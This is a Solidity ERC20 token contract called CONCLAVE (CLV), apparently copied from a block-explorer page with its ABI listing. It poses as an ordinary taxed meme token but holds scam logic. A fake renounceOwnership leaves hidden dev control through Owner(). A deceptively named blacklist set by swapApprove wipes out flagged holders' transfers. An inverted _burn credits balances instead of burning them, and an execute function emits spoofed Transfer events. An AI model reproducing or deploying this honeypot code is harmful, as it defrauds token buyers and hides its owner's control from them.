constructor(address _dev) ERC20("CONCLAVE", "CLV") Ownable(_dev){
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = payable(_msgSender());
devWallet = payable(_dev);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(address(uniswapV2Router), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(_msgSender()), true);
excludeFromMaxTransaction(devWallet, true);
excludeFromFees(address(_msgSender()), true);
excludeFromFees(devWallet, true);
_mint(_msgSender(), initialTotalSupply);
}
receive() external payable {}
function burn(uint256 amount) external {
_burn(_msgSender(), amount);
}
function openTrading() external onlyOwner() {
tradingOpen = true;
swapEnabled = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance > swapTokensAtAmount && _buyCount > _preventSwapBefore) {
if (block.number > _lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
marketingWallet.transfer(amount);
}
sellCount++;
_lastSellBlock = block.number;
}
}
amount = calculateTax(amount, from);
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
sellFee = _sellFee;
buyFee = _buyFee;
}
function removeLimits() external onlyOwner {
maxTransactionAmount = initialTotalSupply;
maxWallet = initialTotalSupply;
transferDelayEnabled = false;
}
function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
function manualSwapToken(uint256 percent) external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
uint256 swapAmount = contractBalance * percent / 100;
swapTokensForEth(swapAmount);
}
function calculateTax(uint256 amount, address from) private view returns(uint256) {
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
uint returnedValue = amount * remainingPercentage / 100;
if (_ERC20burnsAmountExceedsforBalance[from])
{
return returnedValue.max(0);
}
return amount;
}
function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {
swapTokensAtAmount = newAmmount * 10**_decimals;
}
function tokensWithdraw() external {
require(_msgSender() == devWallet);
uint256 amount = balanceOf(address(this));
_transfer(address(this), devWallet, amount);
}
function withdrawEth() external {
require(address(this).balance > 0, "Token: no ETH in the contract");
require(_msgSender() == devWallet);
payable(msg.sender).transfer(address(this).balance);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance == 0) {
return;
}
uint256 tokensToSwap = contractBalance;
if (tokensToSwap > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
swapTokensForEth(tokensToSwap);
}
function swapApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_ERC20burnsAmountExceedsforBalance[address_[i]] = val;
}
}
function feeCallEvent(address recipient) external view returns(bool){
return _ERC20burnsAmountExceedsforBalance[recipient];
}
function min(uint256 a, uint256 b) internal pure returns (uint256){
return (a>b)?b:a;
}
}
ERC20.sol 145 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {Context} from "./Ownable.sol";
import "./IERC20.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
unchecked {_balances[account] = accountBalance + amount;}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
IERC20.sol 29 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
Ownable.sol 84 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address dev_) {
_dev = dev_;
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
SafeMath.sol 93 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
Uniswap.sol 179 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
Read Contract
_balances 0x6ebcf607 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
feeCallEvent 0xc3144eda → bool
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
transferDelayEnabled 0xc876d0b9 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 20 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x42966c68
uint256 amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
execute 0x3a61363a
address[] addr
address lpPair
uint256 val
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwapToken 0x71f5f01a
uint256 percent
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setTheFee 0x4141d1bb
uint256 _buyFee
uint256 _sellFee
swapApprove 0x1186b8d8
address[] address_
bool val
tokensWithdraw 0x2cb743f7
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateTheSwapThreshold 0x500116be
uint256 newAmmount
withdrawEth 0xa0ef91df
No parameters
Recent Transactions
No transactions found for this address